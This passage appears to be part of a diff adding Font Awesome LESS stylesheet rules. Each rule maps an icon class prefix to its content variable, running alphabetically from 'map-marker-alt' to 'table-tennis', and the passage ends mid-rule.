+.@{fa-css-prefix}-map-marker-alt:before { content: @fa-var-map-marker-alt; } +.@{fa-css-prefix}-map-pin:before { content: @fa-var-map-pin; } +.@{fa-css-prefix}-map-signs:before { content: @fa-var-map-signs; } +.@{fa-css-prefix}-markdown:before { content: @fa-var-markdown; } +.@{fa-css-prefix}-marker:before { content: @fa-var-marker; } +.@{fa-css-prefix}-mars:before { content: @fa-var-mars; } +.@{fa-css-prefix}-mars-double:before { content: @fa-var-mars-double; } +.@{fa-css-prefix}-mars-stroke:before { content: @fa-var-mars-stroke; } +.@{fa-css-prefix}-mars-stroke-h:before { content: @fa-var-mars-stroke-h; } +.@{fa-css-prefix}-mars-stroke-v:before { content: @fa-var-mars-stroke-v; } +.@{fa-css-prefix}-mask:before { content: @fa-var-mask; } +.@{fa-css-prefix}-mastodon:before { content: @fa-var-mastodon; } +.@{fa-css-prefix}-maxcdn:before { content: @fa-var-maxcdn; } +.@{fa-css-prefix}-mdb:before { content: @fa-var-mdb; } +.@{fa-css-prefix}-medal:before { content: @fa-var-medal; } +.@{fa-css-prefix}-medapps:before { content: @fa-var-medapps; } +.@{fa-css-prefix}-medium:before { content: @fa-var-medium; } +.@{fa-css-prefix}-medium-m:before { content: @fa-var-medium-m; } +.@{fa-css-prefix}-medkit:before { content: @fa-var-medkit; } +.@{fa-css-prefix}-medrt:before { content: @fa-var-medrt; } +.@{fa-css-prefix}-meetup:before { content: @fa-var-meetup; } +.@{fa-css-prefix}-megaport:before { content: @fa-var-megaport; } +.@{fa-css-prefix}-meh:before { content: @fa-var-meh; } +.@{fa-css-prefix}-meh-blank:before { content: @fa-var-meh-blank; } +.@{fa-css-prefix}-meh-rolling-eyes:before { content: @fa-var-meh-rolling-eyes; } +.@{fa-css-prefix}-memory:before { content: @fa-var-memory; } +.@{fa-css-prefix}-mendeley:before { content: @fa-var-mendeley; } +.@{fa-css-prefix}-menorah:before { content: @fa-var-menorah; } +.@{fa-css-prefix}-mercury:before { content: @fa-var-mercury; } +.@{fa-css-prefix}-meteor:before { content: @fa-var-meteor; } +.@{fa-css-prefix}-microblog:before { content: @fa-var-microblog; } +.@{fa-css-prefix}-microchip:before { content: @fa-var-microchip; } +.@{fa-css-prefix}-microphone:before { content: @fa-var-microphone; } +.@{fa-css-prefix}-microphone-alt:before { content: @fa-var-microphone-alt; } +.@{fa-css-prefix}-microphone-alt-slash:before { content: @fa-var-microphone-alt-slash; } +.@{fa-css-prefix}-microphone-slash:before { content: @fa-var-microphone-slash; } +.@{fa-css-prefix}-microscope:before { content: @fa-var-microscope; } +.@{fa-css-prefix}-microsoft:before { content: @fa-var-microsoft; } +.@{fa-css-prefix}-minus:before { content: @fa-var-minus; } +.@{fa-css-prefix}-minus-circle:before { content: @fa-var-minus-circle; } +.@{fa-css-prefix}-minus-square:before { content: @fa-var-minus-square; } +.@{fa-css-prefix}-mitten:before { content: @fa-var-mitten; } +.@{fa-css-prefix}-mix:before { content: @fa-var-mix; } +.@{fa-css-prefix}-mixcloud:before { content: @fa-var-mixcloud; } +.@{fa-css-prefix}-mixer:before { content: @fa-var-mixer; } +.@{fa-css-prefix}-mizuni:before { content: @fa-var-mizuni; } +.@{fa-css-prefix}-mobile:before { content: @fa-var-mobile; } +.@{fa-css-prefix}-mobile-alt:before { content: @fa-var-mobile-alt; } +.@{fa-css-prefix}-modx:before { content: @fa-var-modx; } +.@{fa-css-prefix}-monero:before { content: @fa-var-monero; } +.@{fa-css-prefix}-money-bill:before { content: @fa-var-money-bill; } +.@{fa-css-prefix}-money-bill-alt:before { content: @fa-var-money-bill-alt; } +.@{fa-css-prefix}-money-bill-wave:before { content: @fa-var-money-bill-wave; } +.@{fa-css-prefix}-money-bill-wave-alt:before { content: @fa-var-money-bill-wave-alt; } +.@{fa-css-prefix}-money-check:before { content: @fa-var-money-check; } +.@{fa-css-prefix}-money-check-alt:before { content: @fa-var-money-check-alt; } +.@{fa-css-prefix}-monument:before { content: @fa-var-monument; } +.@{fa-css-prefix}-moon:before { content: @fa-var-moon; } +.@{fa-css-prefix}-mortar-pestle:before { content: @fa-var-mortar-pestle; } +.@{fa-css-prefix}-mosque:before { content: @fa-var-mosque; } +.@{fa-css-prefix}-motorcycle:before { content: @fa-var-motorcycle; } +.@{fa-css-prefix}-mountain:before { content: @fa-var-mountain; } +.@{fa-css-prefix}-mouse:before { content: @fa-var-mouse; } +.@{fa-css-prefix}-mouse-pointer:before { content: @fa-var-mouse-pointer; } +.@{fa-css-prefix}-mug-hot:before { content: @fa-var-mug-hot; } +.@{fa-css-prefix}-music:before { content: @fa-var-music; } +.@{fa-css-prefix}-napster:before { content: @fa-var-napster; } +.@{fa-css-prefix}-neos:before { content: @fa-var-neos; } +.@{fa-css-prefix}-network-wired:before { content: @fa-var-network-wired; } +.@{fa-css-prefix}-neuter:before { content: @fa-var-neuter; } +.@{fa-css-prefix}-newspaper:before { content: @fa-var-newspaper; } +.@{fa-css-prefix}-nimblr:before { content: @fa-var-nimblr; } +.@{fa-css-prefix}-node:before { content: @fa-var-node; } +.@{fa-css-prefix}-node-js:before { content: @fa-var-node-js; } +.@{fa-css-prefix}-not-equal:before { content: @fa-var-not-equal; } +.@{fa-css-prefix}-notes-medical:before { content: @fa-var-notes-medical; } +.@{fa-css-prefix}-npm:before { content: @fa-var-npm; } +.@{fa-css-prefix}-ns8:before { content: @fa-var-ns8; } +.@{fa-css-prefix}-nutritionix:before { content: @fa-var-nutritionix; } +.@{fa-css-prefix}-object-group:before { content: @fa-var-object-group; } +.@{fa-css-prefix}-object-ungroup:before { content: @fa-var-object-ungroup; } +.@{fa-css-prefix}-octopus-deploy:before { content: @fa-var-octopus-deploy; } +.@{fa-css-prefix}-odnoklassniki:before { content: @fa-var-odnoklassniki; } +.@{fa-css-prefix}-odnoklassniki-square:before { content: @fa-var-odnoklassniki-square; } +.@{fa-css-prefix}-oil-can:before { content: @fa-var-oil-can; } +.@{fa-css-prefix}-old-republic:before { content: @fa-var-old-republic; } +.@{fa-css-prefix}-om:before { content: @fa-var-om; } +.@{fa-css-prefix}-opencart:before { content: @fa-var-opencart; } +.@{fa-css-prefix}-openid:before { content: @fa-var-openid; } +.@{fa-css-prefix}-opera:before { content: @fa-var-opera; } +.@{fa-css-prefix}-optin-monster:before { content: @fa-var-optin-monster; } +.@{fa-css-prefix}-orcid:before { content: @fa-var-orcid; } +.@{fa-css-prefix}-osi:before { content: @fa-var-osi; } +.@{fa-css-prefix}-otter:before { content: @fa-var-otter; } +.@{fa-css-prefix}-outdent:before { content: @fa-var-outdent; } +.@{fa-css-prefix}-page4:before { content: @fa-var-page4; } +.@{fa-css-prefix}-pagelines:before { content: @fa-var-pagelines; } +.@{fa-css-prefix}-pager:before { content: @fa-var-pager; } +.@{fa-css-prefix}-paint-brush:before { content: @fa-var-paint-brush; } +.@{fa-css-prefix}-paint-roller:before { content: @fa-var-paint-roller; } +.@{fa-css-prefix}-palette:before { content: @fa-var-palette; } +.@{fa-css-prefix}-palfed:before { content: @fa-var-palfed; } +.@{fa-css-prefix}-pallet:before { content: @fa-var-pallet; } +.@{fa-css-prefix}-paper-plane:before { content: @fa-var-paper-plane; } +.@{fa-css-prefix}-paperclip:before { content: @fa-var-paperclip; } +.@{fa-css-prefix}-parachute-box:before { content: @fa-var-parachute-box; } +.@{fa-css-prefix}-paragraph:before { content: @fa-var-paragraph; } +.@{fa-css-prefix}-parking:before { content: @fa-var-parking; } +.@{fa-css-prefix}-passport:before { content: @fa-var-passport; } +.@{fa-css-prefix}-pastafarianism:before { content: @fa-var-pastafarianism; } +.@{fa-css-prefix}-paste:before { content: @fa-var-paste; } +.@{fa-css-prefix}-patreon:before { content: @fa-var-patreon; } +.@{fa-css-prefix}-pause:before { content: @fa-var-pause; } +.@{fa-css-prefix}-pause-circle:before { content: @fa-var-pause-circle; } +.@{fa-css-prefix}-paw:before { content: @fa-var-paw; } +.@{fa-css-prefix}-paypal:before { content: @fa-var-paypal; } +.@{fa-css-prefix}-peace:before { content: @fa-var-peace; } +.@{fa-css-prefix}-pen:before { content: @fa-var-pen; } +.@{fa-css-prefix}-pen-alt:before { content: @fa-var-pen-alt; } +.@{fa-css-prefix}-pen-fancy:before { content: @fa-var-pen-fancy; } +.@{fa-css-prefix}-pen-nib:before { content: @fa-var-pen-nib; } +.@{fa-css-prefix}-pen-square:before { content: @fa-var-pen-square; } +.@{fa-css-prefix}-pencil-alt:before { content: @fa-var-pencil-alt; } +.@{fa-css-prefix}-pencil-ruler:before { content: @fa-var-pencil-ruler; } +.@{fa-css-prefix}-penny-arcade:before { content: @fa-var-penny-arcade; } +.@{fa-css-prefix}-people-arrows:before { content: @fa-var-people-arrows; } +.@{fa-css-prefix}-people-carry:before { content: @fa-var-people-carry; } +.@{fa-css-prefix}-pepper-hot:before { content: @fa-var-pepper-hot; } +.@{fa-css-prefix}-perbyte:before { content: @fa-var-perbyte; } +.@{fa-css-prefix}-percent:before { content: @fa-var-percent; } +.@{fa-css-prefix}-percentage:before { content: @fa-var-percentage; } +.@{fa-css-prefix}-periscope:before { content: @fa-var-periscope; } +.@{fa-css-prefix}-person-booth:before { content: @fa-var-person-booth; } +.@{fa-css-prefix}-phabricator:before { content: @fa-var-phabricator; } +.@{fa-css-prefix}-phoenix-framework:before { content: @fa-var-phoenix-framework; } +.@{fa-css-prefix}-phoenix-squadron:before { content: @fa-var-phoenix-squadron; } +.@{fa-css-prefix}-phone:before { content: @fa-var-phone; } +.@{fa-css-prefix}-phone-alt:before { content: @fa-var-phone-alt; } +.@{fa-css-prefix}-phone-slash:before { content: @fa-var-phone-slash; } +.@{fa-css-prefix}-phone-square:before { content: @fa-var-phone-square; } +.@{fa-css-prefix}-phone-square-alt:before { content: @fa-var-phone-square-alt; } +.@{fa-css-prefix}-phone-volume:before { content: @fa-var-phone-volume; } +.@{fa-css-prefix}-photo-video:before { content: @fa-var-photo-video; } +.@{fa-css-prefix}-php:before { content: @fa-var-php; } +.@{fa-css-prefix}-pied-piper:before { content: @fa-var-pied-piper; } +.@{fa-css-prefix}-pied-piper-alt:before { content: @fa-var-pied-piper-alt; } +.@{fa-css-prefix}-pied-piper-hat:before { content: @fa-var-pied-piper-hat; } +.@{fa-css-prefix}-pied-piper-pp:before { content: @fa-var-pied-piper-pp; } +.@{fa-css-prefix}-pied-piper-square:before { content: @fa-var-pied-piper-square; } +.@{fa-css-prefix}-piggy-bank:before { content: @fa-var-piggy-bank; } +.@{fa-css-prefix}-pills:before { content: @fa-var-pills; } +.@{fa-css-prefix}-pinterest:before { content: @fa-var-pinterest; } +.@{fa-css-prefix}-pinterest-p:before { content: @fa-var-pinterest-p; } +.@{fa-css-prefix}-pinterest-square:before { content: @fa-var-pinterest-square; } +.@{fa-css-prefix}-pizza-slice:before { content: @fa-var-pizza-slice; } +.@{fa-css-prefix}-place-of-worship:before { content: @fa-var-place-of-worship; } +.@{fa-css-prefix}-plane:before { content: @fa-var-plane; } +.@{fa-css-prefix}-plane-arrival:before { content: @fa-var-plane-arrival; } +.@{fa-css-prefix}-plane-departure:before { content: @fa-var-plane-departure; } +.@{fa-css-prefix}-plane-slash:before { content: @fa-var-plane-slash; } +.@{fa-css-prefix}-play:before { content: @fa-var-play; } +.@{fa-css-prefix}-play-circle:before { content: @fa-var-play-circle; } +.@{fa-css-prefix}-playstation:before { content: @fa-var-playstation; } +.@{fa-css-prefix}-plug:before { content: @fa-var-plug; } +.@{fa-css-prefix}-plus:before { content: @fa-var-plus; } +.@{fa-css-prefix}-plus-circle:before { content: @fa-var-plus-circle; } +.@{fa-css-prefix}-plus-square:before { content: @fa-var-plus-square; } +.@{fa-css-prefix}-podcast:before { content: @fa-var-podcast; } +.@{fa-css-prefix}-poll:before { content: @fa-var-poll; } +.@{fa-css-prefix}-poll-h:before { content: @fa-var-poll-h; } +.@{fa-css-prefix}-poo:before { content: @fa-var-poo; } +.@{fa-css-prefix}-poo-storm:before { content: @fa-var-poo-storm; } +.@{fa-css-prefix}-poop:before { content: @fa-var-poop; } +.@{fa-css-prefix}-portrait:before { content: @fa-var-portrait; } +.@{fa-css-prefix}-pound-sign:before { content: @fa-var-pound-sign; } +.@{fa-css-prefix}-power-off:before { content: @fa-var-power-off; } +.@{fa-css-prefix}-pray:before { content: @fa-var-pray; } +.@{fa-css-prefix}-praying-hands:before { content: @fa-var-praying-hands; } +.@{fa-css-prefix}-prescription:before { content: @fa-var-prescription; } +.@{fa-css-prefix}-prescription-bottle:before { content: @fa-var-prescription-bottle; } +.@{fa-css-prefix}-prescription-bottle-alt:before { content: @fa-var-prescription-bottle-alt; } +.@{fa-css-prefix}-print:before { content: @fa-var-print; } +.@{fa-css-prefix}-procedures:before { content: @fa-var-procedures; } +.@{fa-css-prefix}-product-hunt:before { content: @fa-var-product-hunt; } +.@{fa-css-prefix}-project-diagram:before { content: @fa-var-project-diagram; } +.@{fa-css-prefix}-pump-medical:before { content: @fa-var-pump-medical; } +.@{fa-css-prefix}-pump-soap:before { content: @fa-var-pump-soap; } +.@{fa-css-prefix}-pushed:before { content: @fa-var-pushed; } +.@{fa-css-prefix}-puzzle-piece:before { content: @fa-var-puzzle-piece; } +.@{fa-css-prefix}-python:before { content: @fa-var-python; } +.@{fa-css-prefix}-qq:before { content: @fa-var-qq; } +.@{fa-css-prefix}-qrcode:before { content: @fa-var-qrcode; } +.@{fa-css-prefix}-question:before { content: @fa-var-question; } +.@{fa-css-prefix}-question-circle:before { content: @fa-var-question-circle; } +.@{fa-css-prefix}-quidditch:before { content: @fa-var-quidditch; } +.@{fa-css-prefix}-quinscape:before { content: @fa-var-quinscape; } +.@{fa-css-prefix}-quora:before { content: @fa-var-quora; } +.@{fa-css-prefix}-quote-left:before { content: @fa-var-quote-left; } +.@{fa-css-prefix}-quote-right:before { content: @fa-var-quote-right; } +.@{fa-css-prefix}-quran:before { content: @fa-var-quran; } +.@{fa-css-prefix}-r-project:before { content: @fa-var-r-project; } +.@{fa-css-prefix}-radiation:before { content: @fa-var-radiation; } +.@{fa-css-prefix}-radiation-alt:before { content: @fa-var-radiation-alt; } +.@{fa-css-prefix}-rainbow:before { content: @fa-var-rainbow; } +.@{fa-css-prefix}-random:before { content: @fa-var-random; } +.@{fa-css-prefix}-raspberry-pi:before { content: @fa-var-raspberry-pi; } +.@{fa-css-prefix}-ravelry:before { content: @fa-var-ravelry; } +.@{fa-css-prefix}-react:before { content: @fa-var-react; } +.@{fa-css-prefix}-reacteurope:before { content: @fa-var-reacteurope; } +.@{fa-css-prefix}-readme:before { content: @fa-var-readme; } +.@{fa-css-prefix}-rebel:before { content: @fa-var-rebel; } +.@{fa-css-prefix}-receipt:before { content: @fa-var-receipt; } +.@{fa-css-prefix}-record-vinyl:before { content: @fa-var-record-vinyl; } +.@{fa-css-prefix}-recycle:before { content: @fa-var-recycle; } +.@{fa-css-prefix}-red-river:before { content: @fa-var-red-river; } +.@{fa-css-prefix}-reddit:before { content: @fa-var-reddit; } +.@{fa-css-prefix}-reddit-alien:before { content: @fa-var-reddit-alien; } +.@{fa-css-prefix}-reddit-square:before { content: @fa-var-reddit-square; } +.@{fa-css-prefix}-redhat:before { content: @fa-var-redhat; } +.@{fa-css-prefix}-redo:before { content: @fa-var-redo; } +.@{fa-css-prefix}-redo-alt:before { content: @fa-var-redo-alt; } +.@{fa-css-prefix}-registered:before { content: @fa-var-registered; } +.@{fa-css-prefix}-remove-format:before { content: @fa-var-remove-format; } +.@{fa-css-prefix}-renren:before { content: @fa-var-renren; } +.@{fa-css-prefix}-reply:before { content: @fa-var-reply; } +.@{fa-css-prefix}-reply-all:before { content: @fa-var-reply-all; } +.@{fa-css-prefix}-replyd:before { content: @fa-var-replyd; } +.@{fa-css-prefix}-republican:before { content: @fa-var-republican; } +.@{fa-css-prefix}-researchgate:before { content: @fa-var-researchgate; } +.@{fa-css-prefix}-resolving:before { content: @fa-var-resolving; } +.@{fa-css-prefix}-restroom:before { content: @fa-var-restroom; } +.@{fa-css-prefix}-retweet:before { content: @fa-var-retweet; } +.@{fa-css-prefix}-rev:before { content: @fa-var-rev; } +.@{fa-css-prefix}-ribbon:before { content: @fa-var-ribbon; } +.@{fa-css-prefix}-ring:before { content: @fa-var-ring; } +.@{fa-css-prefix}-road:before { content: @fa-var-road; } +.@{fa-css-prefix}-robot:before { content: @fa-var-robot; } +.@{fa-css-prefix}-rocket:before { content: @fa-var-rocket; } +.@{fa-css-prefix}-rocketchat:before { content: @fa-var-rocketchat; } +.@{fa-css-prefix}-rockrms:before { content: @fa-var-rockrms; } +.@{fa-css-prefix}-route:before { content: @fa-var-route; } +.@{fa-css-prefix}-rss:before { content: @fa-var-rss; } +.@{fa-css-prefix}-rss-square:before { content: @fa-var-rss-square; } +.@{fa-css-prefix}-ruble-sign:before { content: @fa-var-ruble-sign; } +.@{fa-css-prefix}-ruler:before { content: @fa-var-ruler; } +.@{fa-css-prefix}-ruler-combined:before { content: @fa-var-ruler-combined; } +.@{fa-css-prefix}-ruler-horizontal:before { content: @fa-var-ruler-horizontal; } +.@{fa-css-prefix}-ruler-vertical:before { content: @fa-var-ruler-vertical; } +.@{fa-css-prefix}-running:before { content: @fa-var-running; } +.@{fa-css-prefix}-rupee-sign:before { content: @fa-var-rupee-sign; } +.@{fa-css-prefix}-rust:before { content: @fa-var-rust; } +.@{fa-css-prefix}-sad-cry:before { content: @fa-var-sad-cry; } +.@{fa-css-prefix}-sad-tear:before { content: @fa-var-sad-tear; } +.@{fa-css-prefix}-safari:before { content: @fa-var-safari; } +.@{fa-css-prefix}-salesforce:before { content: @fa-var-salesforce; } +.@{fa-css-prefix}-sass:before { content: @fa-var-sass; } +.@{fa-css-prefix}-satellite:before { content: @fa-var-satellite; } +.@{fa-css-prefix}-satellite-dish:before { content: @fa-var-satellite-dish; } +.@{fa-css-prefix}-save:before { content: @fa-var-save; } +.@{fa-css-prefix}-schlix:before { content: @fa-var-schlix; } +.@{fa-css-prefix}-school:before { content: @fa-var-school; } +.@{fa-css-prefix}-screwdriver:before { content: @fa-var-screwdriver; } +.@{fa-css-prefix}-scribd:before { content: @fa-var-scribd; } +.@{fa-css-prefix}-scroll:before { content: @fa-var-scroll; } +.@{fa-css-prefix}-sd-card:before { content: @fa-var-sd-card; } +.@{fa-css-prefix}-search:before { content: @fa-var-search; } +.@{fa-css-prefix}-search-dollar:before { content: @fa-var-search-dollar; } +.@{fa-css-prefix}-search-location:before { content: @fa-var-search-location; } +.@{fa-css-prefix}-search-minus:before { content: @fa-var-search-minus; } +.@{fa-css-prefix}-search-plus:before { content: @fa-var-search-plus; } +.@{fa-css-prefix}-searchengin:before { content: @fa-var-searchengin; } +.@{fa-css-prefix}-seedling:before { content: @fa-var-seedling; } +.@{fa-css-prefix}-sellcast:before { content: @fa-var-sellcast; } +.@{fa-css-prefix}-sellsy:before { content: @fa-var-sellsy; } +.@{fa-css-prefix}-server:before { content: @fa-var-server; } +.@{fa-css-prefix}-servicestack:before { content: @fa-var-servicestack; } +.@{fa-css-prefix}-shapes:before { content: @fa-var-shapes; } +.@{fa-css-prefix}-share:before { content: @fa-var-share; } +.@{fa-css-prefix}-share-alt:before { content: @fa-var-share-alt; } +.@{fa-css-prefix}-share-alt-square:before { content: @fa-var-share-alt-square; } +.@{fa-css-prefix}-share-square:before { content: @fa-var-share-square; } +.@{fa-css-prefix}-shekel-sign:before { content: @fa-var-shekel-sign; } +.@{fa-css-prefix}-shield-alt:before { content: @fa-var-shield-alt; } +.@{fa-css-prefix}-shield-virus:before { content: @fa-var-shield-virus; } +.@{fa-css-prefix}-ship:before { content: @fa-var-ship; } +.@{fa-css-prefix}-shipping-fast:before { content: @fa-var-shipping-fast; } +.@{fa-css-prefix}-shirtsinbulk:before { content: @fa-var-shirtsinbulk; } +.@{fa-css-prefix}-shoe-prints:before { content: @fa-var-shoe-prints; } +.@{fa-css-prefix}-shopify:before { content: @fa-var-shopify; } +.@{fa-css-prefix}-shopping-bag:before { content: @fa-var-shopping-bag; } +.@{fa-css-prefix}-shopping-basket:before { content: @fa-var-shopping-basket; } +.@{fa-css-prefix}-shopping-cart:before { content: @fa-var-shopping-cart; } +.@{fa-css-prefix}-shopware:before { content: @fa-var-shopware; } +.@{fa-css-prefix}-shower:before { content: @fa-var-shower; } +.@{fa-css-prefix}-shuttle-van:before { content: @fa-var-shuttle-van; } +.@{fa-css-prefix}-sign:before { content: @fa-var-sign; } +.@{fa-css-prefix}-sign-in-alt:before { content: @fa-var-sign-in-alt; } +.@{fa-css-prefix}-sign-language:before { content: @fa-var-sign-language; } +.@{fa-css-prefix}-sign-out-alt:before { content: @fa-var-sign-out-alt; } +.@{fa-css-prefix}-signal:before { content: @fa-var-signal; } +.@{fa-css-prefix}-signature:before { content: @fa-var-signature; } +.@{fa-css-prefix}-sim-card:before { content: @fa-var-sim-card; } +.@{fa-css-prefix}-simplybuilt:before { content: @fa-var-simplybuilt; } +.@{fa-css-prefix}-sink:before { content: @fa-var-sink; } +.@{fa-css-prefix}-sistrix:before { content: @fa-var-sistrix; } +.@{fa-css-prefix}-sitemap:before { content: @fa-var-sitemap; } +.@{fa-css-prefix}-sith:before { content: @fa-var-sith; } +.@{fa-css-prefix}-skating:before { content: @fa-var-skating; } +.@{fa-css-prefix}-sketch:before { content: @fa-var-sketch; } +.@{fa-css-prefix}-skiing:before { content: @fa-var-skiing; } +.@{fa-css-prefix}-skiing-nordic:before { content: @fa-var-skiing-nordic; } +.@{fa-css-prefix}-skull:before { content: @fa-var-skull; } +.@{fa-css-prefix}-skull-crossbones:before { content: @fa-var-skull-crossbones; } +.@{fa-css-prefix}-skyatlas:before { content: @fa-var-skyatlas; } +.@{fa-css-prefix}-skype:before { content: @fa-var-skype; } +.@{fa-css-prefix}-slack:before { content: @fa-var-slack; } +.@{fa-css-prefix}-slack-hash:before { content: @fa-var-slack-hash; } +.@{fa-css-prefix}-slash:before { content: @fa-var-slash; } +.@{fa-css-prefix}-sleigh:before { content: @fa-var-sleigh; } +.@{fa-css-prefix}-sliders-h:before { content: @fa-var-sliders-h; } +.@{fa-css-prefix}-slideshare:before { content: @fa-var-slideshare; } +.@{fa-css-prefix}-smile:before { content: @fa-var-smile; } +.@{fa-css-prefix}-smile-beam:before { content: @fa-var-smile-beam; } +.@{fa-css-prefix}-smile-wink:before { content: @fa-var-smile-wink; } +.@{fa-css-prefix}-smog:before { content: @fa-var-smog; } +.@{fa-css-prefix}-smoking:before { content: @fa-var-smoking; } +.@{fa-css-prefix}-smoking-ban:before { content: @fa-var-smoking-ban; } +.@{fa-css-prefix}-sms:before { content: @fa-var-sms; } +.@{fa-css-prefix}-snapchat:before { content: @fa-var-snapchat; } +.@{fa-css-prefix}-snapchat-ghost:before { content: @fa-var-snapchat-ghost; } +.@{fa-css-prefix}-snapchat-square:before { content: @fa-var-snapchat-square; } +.@{fa-css-prefix}-snowboarding:before { content: @fa-var-snowboarding; } +.@{fa-css-prefix}-snowflake:before { content: @fa-var-snowflake; } +.@{fa-css-prefix}-snowman:before { content: @fa-var-snowman; } +.@{fa-css-prefix}-snowplow:before { content: @fa-var-snowplow; } +.@{fa-css-prefix}-soap:before { content: @fa-var-soap; } +.@{fa-css-prefix}-socks:before { content: @fa-var-socks; } +.@{fa-css-prefix}-solar-panel:before { content: @fa-var-solar-panel; } +.@{fa-css-prefix}-sort:before { content: @fa-var-sort; } +.@{fa-css-prefix}-sort-alpha-down:before { content: @fa-var-sort-alpha-down; } +.@{fa-css-prefix}-sort-alpha-down-alt:before { content: @fa-var-sort-alpha-down-alt; } +.@{fa-css-prefix}-sort-alpha-up:before { content: @fa-var-sort-alpha-up; } +.@{fa-css-prefix}-sort-alpha-up-alt:before { content: @fa-var-sort-alpha-up-alt; } +.@{fa-css-prefix}-sort-amount-down:before { content: @fa-var-sort-amount-down; } +.@{fa-css-prefix}-sort-amount-down-alt:before { content: @fa-var-sort-amount-down-alt; } +.@{fa-css-prefix}-sort-amount-up:before { content: @fa-var-sort-amount-up; } +.@{fa-css-prefix}-sort-amount-up-alt:before { content: @fa-var-sort-amount-up-alt; } +.@{fa-css-prefix}-sort-down:before { content: @fa-var-sort-down; } +.@{fa-css-prefix}-sort-numeric-down:before { content: @fa-var-sort-numeric-down; } +.@{fa-css-prefix}-sort-numeric-down-alt:before { content: @fa-var-sort-numeric-down-alt; } +.@{fa-css-prefix}-sort-numeric-up:before { content: @fa-var-sort-numeric-up; } +.@{fa-css-prefix}-sort-numeric-up-alt:before { content: @fa-var-sort-numeric-up-alt; } +.@{fa-css-prefix}-sort-up:before { content: @fa-var-sort-up; } +.@{fa-css-prefix}-soundcloud:before { content: @fa-var-soundcloud; } +.@{fa-css-prefix}-sourcetree:before { content: @fa-var-sourcetree; } +.@{fa-css-prefix}-spa:before { content: @fa-var-spa; } +.@{fa-css-prefix}-space-shuttle:before { content: @fa-var-space-shuttle; } +.@{fa-css-prefix}-speakap:before { content: @fa-var-speakap; } +.@{fa-css-prefix}-speaker-deck:before { content: @fa-var-speaker-deck; } +.@{fa-css-prefix}-spell-check:before { content: @fa-var-spell-check; } +.@{fa-css-prefix}-spider:before { content: @fa-var-spider; } +.@{fa-css-prefix}-spinner:before { content: @fa-var-spinner; } +.@{fa-css-prefix}-splotch:before { content: @fa-var-splotch; } +.@{fa-css-prefix}-spotify:before { content: @fa-var-spotify; } +.@{fa-css-prefix}-spray-can:before { content: @fa-var-spray-can; } +.@{fa-css-prefix}-square:before { content: @fa-var-square; } +.@{fa-css-prefix}-square-full:before { content: @fa-var-square-full; } +.@{fa-css-prefix}-square-root-alt:before { content: @fa-var-square-root-alt; } +.@{fa-css-prefix}-squarespace:before { content: @fa-var-squarespace; } +.@{fa-css-prefix}-stack-exchange:before { content: @fa-var-stack-exchange; } +.@{fa-css-prefix}-stack-overflow:before { content: @fa-var-stack-overflow; } +.@{fa-css-prefix}-stackpath:before { content: @fa-var-stackpath; } +.@{fa-css-prefix}-stamp:before { content: @fa-var-stamp; } +.@{fa-css-prefix}-star:before { content: @fa-var-star; } +.@{fa-css-prefix}-star-and-crescent:before { content: @fa-var-star-and-crescent; } +.@{fa-css-prefix}-star-half:before { content: @fa-var-star-half; } +.@{fa-css-prefix}-star-half-alt:before { content: @fa-var-star-half-alt; } +.@{fa-css-prefix}-star-of-david:before { content: @fa-var-star-of-david; } +.@{fa-css-prefix}-star-of-life:before { content: @fa-var-star-of-life; } +.@{fa-css-prefix}-staylinked:before { content: @fa-var-staylinked; } +.@{fa-css-prefix}-steam:before { content: @fa-var-steam; } +.@{fa-css-prefix}-steam-square:before { content: @fa-var-steam-square; } +.@{fa-css-prefix}-steam-symbol:before { content: @fa-var-steam-symbol; } +.@{fa-css-prefix}-step-backward:before { content: @fa-var-step-backward; } +.@{fa-css-prefix}-step-forward:before { content: @fa-var-step-forward; } +.@{fa-css-prefix}-stethoscope:before { content: @fa-var-stethoscope; } +.@{fa-css-prefix}-sticker-mule:before { content: @fa-var-sticker-mule; } +.@{fa-css-prefix}-sticky-note:before { content: @fa-var-sticky-note; } +.@{fa-css-prefix}-stop:before { content: @fa-var-stop; } +.@{fa-css-prefix}-stop-circle:before { content: @fa-var-stop-circle; } +.@{fa-css-prefix}-stopwatch:before { content: @fa-var-stopwatch; } +.@{fa-css-prefix}-stopwatch-20:before { content: @fa-var-stopwatch-20; } +.@{fa-css-prefix}-store:before { content: @fa-var-store; } +.@{fa-css-prefix}-store-alt:before { content: @fa-var-store-alt; } +.@{fa-css-prefix}-store-alt-slash:before { content: @fa-var-store-alt-slash; } +.@{fa-css-prefix}-store-slash:before { content: @fa-var-store-slash; } +.@{fa-css-prefix}-strava:before { content: @fa-var-strava; } +.@{fa-css-prefix}-stream:before { content: @fa-var-stream; } +.@{fa-css-prefix}-street-view:before { content: @fa-var-street-view; } +.@{fa-css-prefix}-strikethrough:before { content: @fa-var-strikethrough; } +.@{fa-css-prefix}-stripe:before { content: @fa-var-stripe; } +.@{fa-css-prefix}-stripe-s:before { content: @fa-var-stripe-s; } +.@{fa-css-prefix}-stroopwafel:before { content: @fa-var-stroopwafel; } +.@{fa-css-prefix}-studiovinari:before { content: @fa-var-studiovinari; } +.@{fa-css-prefix}-stumbleupon:before { content: @fa-var-stumbleupon; } +.@{fa-css-prefix}-stumbleupon-circle:before { content: @fa-var-stumbleupon-circle; } +.@{fa-css-prefix}-subscript:before { content: @fa-var-subscript; } +.@{fa-css-prefix}-subway:before { content: @fa-var-subway; } +.@{fa-css-prefix}-suitcase:before { content: @fa-var-suitcase; } +.@{fa-css-prefix}-suitcase-rolling:before { content: @fa-var-suitcase-rolling; } +.@{fa-css-prefix}-sun:before { content: @fa-var-sun; } +.@{fa-css-prefix}-superpowers:before { content: @fa-var-superpowers; } +.@{fa-css-prefix}-superscript:before { content: @fa-var-superscript; } +.@{fa-css-prefix}-supple:before { content: @fa-var-supple; } +.@{fa-css-prefix}-surprise:before { content: @fa-var-surprise; } +.@{fa-css-prefix}-suse:before { content: @fa-var-suse; } +.@{fa-css-prefix}-swatchbook:before { content: @fa-var-swatchbook; } +.@{fa-css-prefix}-swift:before { content: @fa-var-swift; } +.@{fa-css-prefix}-swimmer:before { content: @fa-var-swimmer; } +.@{fa-css-prefix}-swimming-pool:before { content: @fa-var-swimming-pool; } +.@{fa-css-prefix}-symfony:before { content: @fa-var-symfony; } +.@{fa-css-prefix}-synagogue:before { content: @fa-var-synagogue; } +.@{fa-css-prefix}-sync:before { content: @fa-var-sync; } +.@{fa-css-prefix}-sync-alt:before { content: @fa-var-sync-alt; } +.@{fa-css-prefix}-syringe:before { content: @fa-var-syringe; } +.@{fa-css-prefix}-table:before { content: @fa-var-table; } +.@{fa-css-prefix}-table-tennis:before { 